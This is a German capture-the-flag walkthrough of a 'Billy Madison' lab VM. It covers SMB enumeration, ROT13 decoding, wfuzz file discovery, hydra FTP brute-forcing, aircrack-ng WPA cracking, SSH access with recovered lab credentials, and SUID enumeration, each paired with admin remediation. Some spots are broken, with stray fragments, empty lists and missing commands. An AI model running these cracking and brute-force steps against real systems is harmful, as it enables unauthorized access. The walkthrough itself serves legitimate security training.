Bewertung: Der anonyme Zugriff auf die Freigabe `EricsSecretStuff` gelingt. Wir finden drei Dateien:

Wir können alle Dateien herunterladen (`get`), was auf Leserechte hindeutet. Der Versuch, eine Datei hochzuladen (`put`), schlägt jedoch mit `NT_STATUS_ACCESS_DENIED` fehl. Wir haben also nur anonyme Leserechte auf diese Freigabe.

Empfehlung (Pentester): Den Inhalt der heruntergeladenen Datei `ebd.txt` analysieren. Die `.DS_Store`-Dateien können optional mit spezialisierten Tools untersucht werden, falls `ebd.txt` keine Hinweise liefert.
Empfehlung (Admin): Die Berechtigungen der Freigabe `EricsSecretStuff` überprüfen. Anonymer Lesezugriff sollte nur gewährt werden, wenn dies absolut notwendig ist und die Daten nicht sensibel sind. Schreibzugriff korrekt eingeschränkt.

┌──(root㉿cyber)-[~] └─# smbclient //192.168.2.139/EricsSecretStuff
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun 16 02:03:28 2023
  ..                                  D        0  Sat Aug 20 20:56:45 2016
  ._.DS_Store                        AH     4096  Wed Aug 17 16:32:07 2016
  ebd.txt                             N       35  Fri Jun 16 02:03:28 2023
  .DS_Store                          AH     6148  Wed Aug 17 16:32:12 2016

		30291996 blocks of size 1024. 25007972 blocks available
smb: \> get ._.DS_Store
getting file \._.DS_Store of size 4096 as ._.DS_Store (3999,6 KiloBytes/sec) (average 4000,0 KiloBytes/sec)
smb: \> get ebd.txt
getting file \ebd.txt of size 35 as ebd.txt (350000,0 KiloBytes/sec) (average 4034,2 KiloBytes/sec)
smb: \> get .DS_Store
getting file \.DS_Store of size 6148 as .DS_Store (6003,3 KiloBytes/sec) (average 5019,0 KiloBytes/sec)
smb: \> put ben.php
NT_STATUS_ACCESS_DENIED opening remote file \ben.php
smb: \> exit

Analyse: Wir untersuchen den Inhalt der heruntergeladenen Datei `ebd.txt` mit dem `cat`-Befehl.

Bewertung: Die Datei enthält die Zeile "Erics backdoor is currently CLOSED". Dies ist ein wichtiger Hinweis. Es scheint eine Art "Hintertür" zu geben, die momentan geschlossen ist. Möglicherweise gibt es einen Mechanismus, um diese zu öffnen.

Empfehlung (Pentester): Nach Mechanismen suchen, die den Zustand dieser "Backdoor" ändern könnten. Gibt es Skripte, Cronjobs oder andere Dienste, die auf bestimmte Aktionen reagieren und die Datei `ebd.txt` oder den Zustand der Backdoor ändern? Die Datei `ebd.txt` regelmäßig erneut überprüfen, ob sich ihr Inhalt ändert.
Empfehlung (Admin): Jegliche Form von "Backdoors" ist extrem gefährlich und sollte entfernt werden. Wenn es sich um einen legitimen, aber schlecht benannten Mechanismus handelt, sollte dieser ordnungsgemäß dokumentiert und gesichert werden. Den Ursprung der Datei `ebd.txt` und den Mechanismus dahinter untersuchen und bereinigen.

┌──(root㉿cyber)-[~] └─# cat ebd.txt
Erics backdoor is currently CLOSED

Analyse: Wir untersuchen den Telnet-Dienst auf Port 23 genauer. Der Nmap-Scan zeigte hier eine merkwürdige Nachricht. Wir verbinden uns mit `telnet 192.168.2.139 23`.

Bewertung: Der Telnet-Dienst auf Port 23 liefert eine Nachricht, die uns direkt anspricht und einen Hinweis enthält: "* HAHAH! You're banned for a while, Billy Boy! By the way, I caught you trying to hack my wifi - but the joke's on you! I don't use ROtten passwords like rkfpuzrahngvat anymore! Madison Hotels is as good as MINE!!!! *". Das Wichtige hier ist das scheinbar verschlüsselte/kodierte Wort `rkfpuzrahngvat`. Es wird erwähnt, dass dies *nicht mehr* verwendet wird, aber es könnte ein Hinweis auf die Art der verwendeten Passwörter oder Verschlüsselung sein.

Empfehlung (Pentester): Das Wort `rkfpuzrahngvat` analysieren. Es sieht nach einer einfachen Substitutionschiffre aus, möglicherweise ROT13 oder Caesar. Online-Tools oder Skripte verwenden, um es zu entschlüsseln. Die Information, dass der Angreifer angeblich WiFi-Hacking-Versuche bemerkt hat, könnte auch ein Hinweis sein (vielleicht im Zusammenhang mit `.cap`-Dateien?).
Empfehlung (Admin): Den Telnet-Dienst deaktivieren, da er unsicher ist (Daten werden unverschlüsselt übertragen). Wenn ein Remote-Zugriff benötigt wird, SSH verwenden. Die Nachricht entfernen, da sie potenziell Hinweise für Angreifer enthält.

# (Annahme: Telnet wurde ausgeführt, Befehl fehlt im Text) # Befehl: telnet 192.168.2.139 23

Analyse: Wir versuchen, das im Telnet gefundene Wort `rkfpuzrahngvat` zu entschlüsseln. Der Pentester hat hier offenbar ein Online-Tool (fbcs.bplaced.net/multi_encoder_decoder.html) verwendet und festgestellt, dass es sich um eine ROT13-Verschlüsselung handelt.

Bewertung: Die Entschlüsselung von `rkfpuzrahngvat` mittels ROT13 ergibt das Wort `exschmenuating`. Dies ist ein bedeutender Fortschritt, da dieses Wort wahrscheinlich als Verzeichnisname, Dateiname oder Passwort verwendet wird.

Empfehlung (Pentester): Das entschlüsselte Wort `exschmenuating` verwenden, um:


Empfehlung (Admin): ROT13 ist keine sichere Verschlüsselung und sollte niemals zum Schutz sensibler Informationen verwendet werden. Passwörter oder sicherheitsrelevante Informationen dürfen nicht in Klartext oder schwach verschlüsselt in Konfigurationsdateien, Skripten oder Nachrichten gespeichert werden.

# (Kein Terminal-Befehl, Beschreibung der Aktion)

Analyse: Basierend auf dem entschlüsselten Wort besuchen wir die URL `http://billy.vuln/exschmenuating/` im Browser.

Bewertung: Volltreffer! Unter dieser URL finden wir eine Webseite mit dem Titel "Ruin Billy Madison's Life" - Eric's notes". Die Notizen enthalten entscheidende Hinweise:

Diese Seite liefert uns klare nächste Schritte und bestätigt die Existenz einer Capture-Datei, die wahrscheinlich Zugangsdaten enthält.

Empfehlung (Pentester):


Empfehlung (Admin): Sensible Informationen oder "Notizen" wie diese dürfen niemals über einen Webserver zugänglich sein. Phishing-Schulungen für Benutzer durchführen. Sicherstellen, dass Malware schnell erkannt und entfernt wird. Passwortrichtlinien durchsetzen, die die Verwendung von Namen oder persönlichen Informationen in Passwörtern verbieten.

# (Kein Terminal-Befehl, Beschreibung der Aktion - Besuch der Webseite)

Analyse: Wir sehen uns die Datei an, auf die der "View log"-Link zeigt: `http://billy.vuln/exschmenuating/currently-banned-hosts.txt`.

Bewertung: Die Datei enthält eine Liste von IPs, die angeblich gebannt sind, möglicherweise durch eine Firewall wie `iptables`. Sie enthält auch einen Zeitstempel und den Hinweis, dass man den Host zurücksetzen muss, um den Bann aufzuheben. Für uns als Angreifer ist diese Information momentan weniger relevant, bestätigt aber, dass es eine Art dynamisches Blocking gibt, was fehlgeschlagene Angriffsversuche erklären könnte.

Empfehlung (Pentester): Die Information über das Banning zur Kenntnis nehmen. Falls spätere Angriffe (z.B. Brute-Force) plötzlich fehlschlagen, könnte ein Reset der VM oder ein Warten notwendig sein. Den Fokus auf die Suche nach der Capture-Datei legen.
Empfehlung (Admin): Dynamische Bann-Listen können Angriffe verlangsamen, aber entschlossene Angreifer oft nicht aufhalten (z.B. durch IP-Wechsel). Die Konfiguration des Bann-Mechanismus überprüfen und sicherstellen, dass er effektiv ist, aber keine legitimen Benutzer aussperrt. Die zugrundeliegenden Schwachstellen beheben, anstatt sich nur auf das Blocken zu verlassen.

# (Kein Terminal-Befehl, Beschreibung der Aktion - Besuch der Webseite)

Analyse: Basierend auf dem Hinweis, dass die Capture-Datei "veronica" im Namen enthält und wahrscheinlich eine `.cap`-Datei ist (da von "captured the whole thing" die Rede ist), erstellen wir eine gezielte Wortliste. Wir extrahieren alle Zeilen aus der `rockyou.txt`, die "veronica" enthalten, und speichern sie in einer neuen Datei `vero.txt`. Dies dient dazu, eine kleinere, relevantere Wortliste für das Fuzzing nach dem Dateinamen zu haben.

Bewertung: Dies ist eine clevere Optimierung. Anstatt eine riesige Wortliste zu verwenden, um den Dateinamen zu finden, nutzen wir den Hinweis aus Erics Notizen, um eine sehr spezifische, kleine Liste zu erstellen. Dies beschleunigt den nächsten Schritt erheblich.

Empfehlung (Pentester): Immer Hinweise aus der Enumeration nutzen, um Angriffe gezielter und effizienter zu gestalten. Die erstellte `vero.txt` im nächsten Schritt mit einem Fuzzing-Tool verwenden.
Empfehlung (Admin): Keine direkte Maßnahme, dies ist eine Technik des Angreifers.

┌──(root㉿cyber)-[~] └─# grep veronica /usr/share/wordlists/rockyou.txt >> vero.txt
# (Ausgabe ist die Erstellung der Datei vero.txt mit folgendem Beispielinhalt)
1234567890veronica
1230veronica
11veronica11
1112veronica
10veronica
1010veronica
081892_veronica
070895veronica
04164754629veronica
012987veronica
001veronica
-veronica,
*veronica*
*veronica
$veronica$
#0104veronica
!veronica!mars
... (und weitere)

Analyse: Wir verwenden `wfuzz`, ein weiteres Fuzzing-Tool, um nach der Capture-Datei im Verzeichnis `/exschmenuating/` zu suchen.

Bewertung: Erfolg! `wfuzz` findet zwei Dateien, die einen `200 OK`-Status zurückgeben:

Wir haben wahrscheinlich die gesuchte Capture-Datei gefunden. Die Datei `012987veronica.cap` scheint der vielversprechendere Kandidat zu sein.

Empfehlung (Pentester): Beide gefundenen `.cap`-Dateien herunterladen (z.B. mit `wget` oder direkt im Browser) und mit Netzwerkanalyse-Tools wie Wireshark oder `tshark` untersuchen, um die darin enthaltenen Daten, insbesondere Zugangsdaten, zu extrahieren.
Empfehlung (Admin): Sicherstellen, dass keine sensiblen Dateien wie Netzwerk-Captures über den Webserver zugänglich sind. Verzeichnisse und Dateien nur mit den minimal notwendigen Berechtigungen versehen.

┌──(root㉿cyber)-[~] └─# wfuzz -c -w vero.txt -u "http://billy.vuln/exschmenuating/FUZZ.cap" --hc 400,401,402,403,404 --hh 0
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://billy.vuln/exschmenuating/FUZZ.cap
Total requests: 773

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000766:   200        192 L    800 W      8528 Ch     "012987veronica"
000000772:   200        24 L     162 W      1080 Ch     "#0104veronica"

Total time: 1.2345s
Processed Requests: 773
Filtered Requests: 771
Requests/sec.: 626.00

Analyse: Wir analysieren die heruntergeladene Capture-Datei `/home/cyber/Downloads/012987veronica.cap` mit `tshark`, der Kommandozeilenversion von Wireshark. Das Skript extrahiert zunächst alle eindeutigen TCP-Stream-Indizes aus der Datei und speichert sie. Dann durchläuft es diese Indizes in einer Schleife und extrahiert jeden einzelnen TCP-Stream in eine separate `.cap`-Datei (`stream-0.cap`, `stream-1.cap`, usw.). Dies erleichtert die separate Analyse der einzelnen Kommunikationsflüsse.

Bewertung: Dieser Ansatz ist methodisch sinnvoll, um eine große Capture-Datei in überschaubare Teile zu zerlegen. Die Ausführung zeigt, dass die Datei mehrere TCP-Streams enthält (mindestens 0 bis 5). Die eigentliche Extraktion der Zugangsdaten erfolgt wahrscheinlich durch manuelle Inspektion dieser einzelnen Stream-Dateien (z.B. mit Wireshark oder `tshark -r stream-X.cap -Y "tcp.payload" -x`). Im Berichtstext wird das Ergebnis dieser Analyse direkt darunter angegeben.

Empfehlung (Pentester): Die generierten `stream-X.cap`-Dateien systematisch untersuchen. In Wireshark nach Protokollen wie HTTP, FTP, Telnet etc. filtern und die Daten "Follow TCP Stream" analysieren, um übertragene Zugangsdaten oder andere sensible Informationen zu finden.
Empfehlung (Admin): Sicherstellen, dass sensible Daten wie Passwörter immer verschlüsselt übertragen werden (z.B. HTTPS statt HTTP, SFTP/SCP statt FTP, SSH statt Telnet).

┌──(root㉿cyber)-[~] └─# for stream in `tshark -r /home/cyber/Downloads/012987veronica.cap -T fields -e tcp.stream | sort -n | uniq` ; do echo $stream ; tshark -r /home/cyber/Downloads/012987veronica.cap -w stream-$stream.cap -Y "tcp.stream==$stream" ; done
Running as user "root" and group "root". This could be dangerous.
0
Capturing on 'any'
File: stream-0.cap
Running as user "root" and group "root". This could be dangerous.
1
Capturing on 'any'
File: stream-1.cap
Running as user "root" and group "root". This could be dangerous.
2
Capturing on 'any'
File: stream-2.cap
Running as user "root" and group "root". This could be dangerous.
3
Capturing on 'any'
File: stream-3.cap
Running as user "root" and group "root". This could be dangerous.
4
Capturing on 'any'
File: stream-4.cap
Running as user "root" and group "root". This could be dangerous.
5
Capturing on 'any'
File: stream-5.cap
... (ggf. weitere Streams)

Analyse: Dieser Textblock scheint das Ergebnis der Analyse der `.cap`-Datei (vermutlich eines der extrahierten TCP-Streams) zu sein.

Bewertung: Kritischer Fund! In der Kommunikation wurde eine Nachricht abgefangen, in der ein Benutzerkonto angefordert wird: `username of "eric" and password "ericdoesntdrinkhisownpee"`. Wir haben jetzt potenzielle Zugangsdaten für den Benutzer `eric`.

Empfehlung (Pentester): Die gefundenen Zugangsdaten (`eric` / `ericdoesntdrinkhisownpee`) sofort bei allen verfügbaren Login-Diensten ausprobieren, insbesondere SSH (Ports 22 und 1974) und FTP (Port 21).
Empfehlung (Admin): Passwörter niemals unverschlüsselt über das Netzwerk senden oder in Klartextnachrichten austauschen. Sichere Kanäle für die Übermittlung von Zugangsdaten verwenden.

# (Kein Terminal-Befehl, Ergebnis der .cap-Analyse)

Analyse: Wir testen die gefundenen Zugangsdaten (`eric` / `ericdoesntdrinkhisownpee`) beim FTP-Dienst auf Port 21.

Bewertung: Der Login ist erfolgreich! Wir erhalten eine FTP-Shell als Benutzer `eric`. Dies ist ein erster erfolgreicher Zugriff auf das System mit Benutzerrechten, wenn auch nur über FTP.

Empfehlung (Pentester): Die FTP-Sitzung nutzen, um das Dateisystem zu untersuchen, nach weiteren Hinweisen, Konfigurationsdateien oder der User-Flag zu suchen. Prüfen, ob Dateien hoch- oder heruntergeladen werden können, um ggf. eine Webshell oder ein Exploit-Skript zu platzieren (abhängig von den Berechtigungen). Die gleichen Zugangsdaten bei SSH testen.
Empfehlung (Admin): Überprüfen, warum der Benutzer `eric` FTP-Zugriff hat und ob dieser notwendig ist. Wenn möglich, FTP deaktivieren und sicherere Alternativen wie SFTP (über SSH) verwenden. Sicherstellen, dass FTP-Benutzer auf ihre Home-Verzeichnisse beschränkt sind (chroot jail) und keine systemweiten Leserechte haben, falls nicht erforderlich.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.139
ericdoesntdrinkhisownpee
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
]]>

Analyse: Wir interagieren mit dem SMTP-Dienst auf Port 2525 über `telnet`. Wir senden SMTP-Befehle, um eine E-Mail von `vvaugh@polyfector.edu` an `eric@madisonhotels.com` mit dem Betreff "email" und dem Inhalt "My kid will be a soccer player" zu senden. Die Adressen und der Inhalt scheinen zufällig gewählt oder beziehen sich auf den Film "Billy Madison".

Bewertung: Wir können erfolgreich eine E-Mail über den Server senden. Dies an sich ist noch kein direkter Exploit, aber es zeigt, dass der SMTP-Server funktioniert und möglicherweise für weitere Aktionen genutzt werden könnte (z.B. wenn eine Anwendung E-Mails liest und verarbeitet). Viel wichtiger ist jedoch, dass diese Aktion offenbar einen Trigger ausgelöst hat!

Empfehlung (Pentester): Nach dieser Aktion erneut den Zustand der "Backdoor" überprüfen (also die Datei `ebd.txt` auf der SMB-Freigabe). Es ist wahrscheinlich, dass diese E-Mail der Mechanismus war, um die Backdoor zu öffnen.
Empfehlung (Admin): Den SMTP-Dienst auf Port 2525 absichern. Authentifizierung erfordern, offenes Relay verhindern. Überprüfen, ob Skripte oder Mechanismen existieren, die auf eingehende E-Mails reagieren und potenziell unsichere Aktionen ausführen. Solche Mechanismen entfernen oder absichern.

┌──(root㉿cyber)-[~] └─# telnet 192.168.2.139 2525
.
SUBJECT: email

My kid will be a soccer player
.
250 ok
quit
221 Bye
Connection closed by foreign host.
]]>

Analyse: Nachdem wir die E-Mail über Port 2525 gesendet haben, verbinden wir uns erneut anonym mit der SMB-Freigabe `EricsSecretStuff` und laden die Datei `ebd.txt` herunter.

Bewertung: Unsere Vermutung war korrekt! Der Inhalt der Datei `ebd.txt` hat sich geändert. Sie enthält nun einen Zeitstempel und "Erics backdoor is currently OPEN". Das Senden der E-Mail war der Trigger, um die Backdoor zu öffnen.

Empfehlung (Pentester): Da die Backdoor nun offen ist, erneut einen Portscan durchführen oder die bekannten Dienste (insbesondere SSH auf Port 1974) erneut prüfen. Es ist wahrscheinlich, dass nun ein neuer Dienst aktiv ist oder sich das Verhalten eines bestehenden Dienstes geändert hat.
Empfehlung (Admin): Den Mechanismus, der die Datei `ebd.txt` aufgrund einer E-Mail ändert, und die damit verbundene "Backdoor" sofort entfernen. Dies stellt ein erhebliches Sicherheitsrisiko dar.

┌──(root㉿cyber)-[~] └─# smbclient //192.168.2.139/EricsSecretStuff
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jun 16 00:58:03 2023
  ..                                  D        0  Sat Aug 20 20:56:45 2016
  150623055803167.eml                 N       93  Fri Jun 16 00:58:03 2023
  ._.DS_Store                        AH     4096  Wed Aug 17 16:32:07 2016
  ebd.txt                             N       35  Fri Jun 16 02:30:43 2023
  .DS_Store                          AH     6148  Wed Aug 17 16:32:12 2016

		30291996 blocks of size 1024. 24993956 blocks available
smb: \> get ebd.txt
getting file \ebd.txt of size 35 as ebd.txt (N/A KiloBytes/sec)
smb: \> exit
┌──(root㉿cyber)-[~] └─# cat ebd.txt
2023-06-15-18-00-01
Erics backdoor is currently OPEN

Analyse: Da die Backdoor nun "OPEN" ist, führen wir erneut einen Nmap-Scan durch, um zu sehen, ob sich die offenen Ports geändert haben. Wir filtern die Ausgabe wieder mit `grep open`.

Bewertung: Der Scan bestätigt die zuvor offenen Ports, aber es gibt eine wichtige Änderung: Port 1974 wird nun eindeutig als `ssh` (OpenSSH 7.2p2) identifiziert. Zuvor war dieser Port im ersten Scan zwar offen, wurde aber nicht eindeutig als SSH erkannt oder war möglicherweise durch eine Firewall blockiert. Das Öffnen der "Backdoor" hat wahrscheinlich den SSH-Dienst auf Port 1974 aktiviert oder freigeschaltet.

Empfehlung (Pentester): Den SSH-Dienst auf Port 1974 als primäres Ziel für den initialen Zugriff verwenden. Die zuvor gefundenen Zugangsdaten (`eric` / `ericdoesntdrinkhisownpee`) hier testen. Auch die Zugangsdaten für `veronica` könnten hier funktionieren.
Empfehlung (Admin): Die "Backdoor"-Funktionalität entfernen. Wenn SSH benötigt wird, sollte es standardmäßig laufen und ordnungsgemäß konfiguriert sein, nicht durch obskure Mechanismen aktiviert werden. Den Port 1974 dokumentieren oder auf den Standardport 22 ändern, wenn keine spezifischen Gründe für die Verwendung von 1974 vorliegen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.139 -p- | grep open
21/tcp   open   ftp         vsftpd 3.0.3
|     220 Welcome to ColoradoFTP - the open source FTP server (www.coldcore.com)
22/tcp   open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
23/tcp   open   telnet?
69/tcp   open   caldav      Radicale calendar and contacts server (Python BaseHTTPServer)
80/tcp   open   http        Apache httpd 2.4.18 ((Ubuntu))
139/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
1974/tcp open   ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
2525/tcp open   smtp        SubEtha smtpd

Analyse: Wir versuchen, das Passwort für den FTP-Benutzer `veronica` zu finden. Wir verwenden `hydra`, ein schnelles Brute-Force-Tool.

Hydra findet eine frühere Restore-Datei und fragt, ob sie verwendet werden soll (hier nicht relevant, da der Angriff neu gestartet wird).

Bewertung: Erfolg! Hydra findet schnell das Passwort für den Benutzer `veronica` auf dem FTP-Dienst: `babygirl_veronica07@yahoo.com`. Wir haben nun einen zweiten Satz gültiger Zugangsdaten.

Empfehlung (Pentester): Die Zugangsdaten `veronica` / `babygirl_veronica07@yahoo.com` notieren. Testen, ob diese auch für andere Dienste (insbesondere SSH auf Port 22 oder 1974) funktionieren. Den FTP-Zugang als `veronica` untersuchen.
Empfehlung (Admin): Starke, einzigartige Passwörter für alle Benutzer erzwingen. Die Verwendung von E-Mail-Adressen oder Variationen davon als Passwörter ist keine gute Praxis. Rate-Limiting für FTP-Logins implementieren, um Brute-Force-Angriffe zu verlangsamen.

┌──(root㉿cyber)-[~] └─# hydra -l veronica -P vero.txt ftp://billy.vuln:21 -t 64
babygirl_veronica07@yahoo.com
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not finish yet. Post-processing will be incomplete. Automatic session resume is possible, but may not work for large password lists. Datafiles may not be complete.
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-16 01:06:40
]]>

Analyse: Wir verifizieren die gerade mit Hydra gefundenen Zugangsdaten, indem wir uns manuell per FTP als `veronica` anmelden.

Bewertung: Der Login funktioniert einwandfrei. Wir haben nun bestätigten FTP-Zugriff als Benutzer `veronica`.

Empfehlung (Pentester): Das Home-Verzeichnis von `veronica` untersuchen. Vergleich der Berechtigungen und sichtbaren Dateien mit dem Benutzer `eric`. Prüfen, ob die User-Flag hier zugänglich ist.
Empfehlung (Admin): Siehe Empfehlungen beim vorherigen Hydra-Schritt bezüglich Passwortsicherheit und FTP-Konfiguration.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.139
babygirl_veronica07@yahoo.com
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
]]>

Analyse: Wir verwenden `aircrack-ng`, ein Tool zum Knacken von WLAN-Passwörtern, um eine weitere `.cap`-Datei zu analysieren, die wir zuvor gefunden hatten (`/home/cyber/Downloads/012987veronica.cap`).

Aircrack identifiziert einen WPA-Handshake für das Netzwerk "EricGordon" in der Datei.

Bewertung: Kritischer Erfolg! Aircrack-ng knackt erfolgreich das WPA-Passwort aus dem Handshake in der Capture-Datei. Das Passwort lautet `triscuit*`. Dies ist höchstwahrscheinlich das Passwort für den Benutzer `eric`, da die ESSID "EricGordon" lautet und die Datei im Kontext von Eric und Veronica gefunden wurde. Es passt auch zur Telnet-Nachricht, die erwähnte, dass der Angreifer "versucht hat, mein WLAN zu hacken".

Empfehlung (Pentester): Das gefundene Passwort `triscuit*` sofort für den Benutzer `eric` beim SSH-Dienst auf Port 1974 (und ggf. Port 22) ausprobieren. Dies ist der vielversprechendste Weg zum initialen Shell-Zugriff.
Empfehlung (Admin): WPA/WPA2-Passwörter sollten lang und komplex sein, um Wörterbuchangriffen zu widerstehen. Die Verwendung von WPA3 erhöht die Sicherheit weiter. Sensible Capture-Dateien dürfen nicht ungeschützt abgelegt werden.

┌──(root㉿cyber)-[~] └─# aircrack-ng -w /usr/share/wordlists/rockyou.txt /home/cyber/Downloads/012987veronica.cap -e EricGordon
triscuit* ]


Master Key     : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Transient Key  : YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
EAPOL Key      : ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
]]>

Analyse: Wir versuchen nun, uns per SSH auf Port 1974 als Benutzer `eric` mit dem gerade per Aircrack gefundenen Passwort `triscuit*` anzumelden.

Bewertung: Fantastisch, der SSH-Login war erfolgreich! Wir haben nun eine interaktive Shell auf dem Zielsystem als Benutzer `eric`. Dies markiert den erfolgreichen initialen Zugriff (Initial Access).

Empfehlung (Pentester): Die Shell nutzen, um das System weiter zu erkunden. Sofort nach Möglichkeiten zur Rechteausweitung (Privilege Escalation) suchen. Übliche erste Schritte: `whoami`, `id`, `sudo -l`, `find / -type f -perm -4000 2>/dev/null`, `cat /etc/crontab`, installierte Software prüfen, Home-Verzeichnisse durchsuchen, nach der User-Flag suchen.
Empfehlung (Admin): SSH-Zugänge absichern: Starke Passwörter erzwingen, Key-basierte Authentifizierung bevorzugen, Root-Login verbieten, ggf. Fail2Ban oder ähnliche Tools gegen Brute-Force einsetzen. Die Notwendigkeit des Benutzerkontos `eric` prüfen.

┌──(root㉿cyber)-[~] └─# ssh eric@192.168.2.139 -p 1974
triscuit*
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-36-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

37 packages can be updated.
0 updates are security updates.


Last login: Sat Aug 20 22:28:28 2016 from 192.168.3.101
eric@BM:~$
]]>

Proof of Concept: Initial Shell Access via SSH

Kurzbeschreibung: Dieser Proof of Concept demonstriert, wie die Kombination aus Informationslecks (Webnotizen, Telnet-Nachricht), der Analyse einer abgefangenen Netzwerkdatei (`.cap`) und dem Knacken von Passwörtern (ROT13, Aircrack-ng) genutzt werden kann, um gültige SSH-Zugangsdaten für den Benutzer `eric` zu erlangen und somit eine interaktive Shell auf dem Zielsystem zu erhalten.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

  1. Hinweis finden: Entschlüsselung von `rkfpuzrahngvat` (aus Telnet Port 23) via ROT13 zu `exschmenuating`.
  2. Capture-Datei finden: Besuch von `http://billy.vuln/exschmenuating/`, Lesen der Notizen, Fuzzing nach `FUZZ.cap` mit `wfuzz` und der Wortliste `vero.txt` führt zum Fund von `012987veronica.cap`.
  3. Capture-Datei herunterladen: `wget http://billy.vuln/exschmenuating/012987veronica.cap`
  4. WLAN-Passwort knacken: Verwendung von `aircrack-ng -w rockyou.txt 012987veronica.cap -e EricGordon` findet das Passwort `triscuit*` für das WLAN "EricGordon".
  5. Backdoor öffnen (Trigger): Senden einer E-Mail via Telnet an Port 2525 (siehe vorherige Schritte).
  6. SSH-Login: Verwendung der Zugangsdaten `eric` / `triscuit*` für SSH auf Port 1974.

Beweismittel (Erfolgreicher SSH-Login):

┌──(root㉿cyber)-[~] └─# ssh eric@192.168.2.139 -p 1974
triscuit*
Welcome to Ubuntu 16.04.1 LTS (GNU/Linux 4.4.0-36-generic x86_64)
...
Last login: Sat Aug 20 22:28:28 2016 from 192.168.3.101
eric@BM:~$ id
uid=1002(eric) gid=1002(eric) groups=1002(eric)
eric@BM:~$ pwd
/home/eric
]]>

Risikobewertung: Hoch. Der erfolgreiche initiale Zugriff ermöglicht es einem Angreifer, auf dem System Fuß zu fassen. Von hier aus können weitere Angriffe gestartet werden, um höhere Rechte zu erlangen (Privilege Escalation), Daten zu exfiltrieren, Malware zu installieren oder das System als Sprungbrett für Angriffe auf andere Systeme im Netzwerk zu nutzen. Die Kombination aus Informationslecks und schwachen Passwörtern stellt ein erhebliches Risiko dar.

Empfehlungen (Admin):

Privilege Escalation

Analyse: Nach dem erfolgreichen Login als `eric` prüfen wir als Erstes, ob dieser Benutzer `sudo`-Rechte hat. Der Befehl `sudo -l` listet die erlaubten `sudo`-Befehle für den aktuellen Benutzer auf. Wir werden nach dem Passwort für `eric` gefragt (`triscuit*`).

Bewertung: Die Ausgabe `Sorry, user eric may not run sudo on BM.` ist eindeutig: Der Benutzer `eric` hat keine `sudo`-Rechte. Dieser einfache Weg zur Rechteausweitung ist uns also versperrt.

Empfehlung (Pentester): Andere Methoden zur Rechteausweitung suchen: SUID/SGID-Binaries, Kernel-Exploits, fehlerhafte Berechtigungen, Cronjobs, ausnutzbare Dienste, die lokal laufen.
Empfehlung (Admin): Das Prinzip der geringsten Rechte anwenden. Benutzern nur die `sudo`-Rechte geben, die sie unbedingt benötigen. Die Konfiguration hier ist korrekt, da `eric` keine Rechte hat.

triscuit*
Sorry, user eric may not run sudo on BM.
]]>

Analyse: Wir suchen nach Dateien mit gesetztem SUID- oder SGID-Bit. Diese Dateien werden mit den Rechten des Besitzers (SUID) oder der Gruppe (SGID) ausgeführt, nicht mit den Rechten des aufrufenden Benutzers. Wenn eine solche Datei (insbesondere eine, die `root` gehört und SUID hat) eine Schwachstelle aufweist, kann diese oft zur Erlangung von Root-Rechten ausgenutzt werden.

Bewertung: Die Liste zeigt viele Standard-SUID-Binaries (`sudo`, `pkexec`, `passwd`, `chsh`, `gpasswd`, `newgrp`, `at`, `chfn`, `mount`, `su`, `umount` etc.). Diese sind normalerweise sicher, es sei denn, es gibt eine bekannte Schwachstelle in der spezifischen Version. Ein Eintrag sticht jedoch heraus: `/usr/local/share/sgml/donpcgd`. Diese Datei gehört `root`, hat aber das SGID-Bit (`-r-sr-s`) für die Gruppe `eric` gesetzt. Sie befindet sich an einem ungewöhnlichen Ort (`/usr/local/share/sgml`) und hat einen merkwürdigen Namen. Dies ist ein starker Kandidat für eine benutzerdefinierte, potenziell anfällige SUID/SGID-Datei.

Empfehlung (Pentester): Die ungewöhnliche Datei `/usr/local/share/sgml/donpcgd` genauer untersuchen:

Auch die Standard-SUID-Binaries auf bekannte Schwachstellen prüfen, insbesondere `pkexec` (PwnKit) und `sudo`, da das System (Ubuntu 16.04) schon älter ist.
Empfehlung (Admin): Die Datei `/usr/local/share/sgml/donpcgd` untersuchen. Wenn sie nicht benötigt wird oder unsicher ist, entfernen oder die SUID/SGID-Berechtigungen entziehen (`chmod u-s,g-s /usr/local/share/sgml/donpcgd`). Nur absolut notwendigen Programmen SUID/SGID-Rechte geben. Das System aktuell halten, um bekannte Schwachstellen in Standard-Binaries zu patchen.

/dev/null
  1454477    368 -r-sr-sr-x   1 root     eric       372922 Aug 20  2016 /usr/local/share/sgml/donpcgd
  1048829    136 -rwsr-xr-x   1 root     root       136808 May  4  2016 /usr/bin/sudo
  1058216     24 -rwsr-xr-x   1 root     root        23376 Jan 17  2016 /usr/bin/pkexec
  1048745     56 -rwsr-xr-x   1 root     root        54256 Mar 29  2016 /usr/bin/passwd
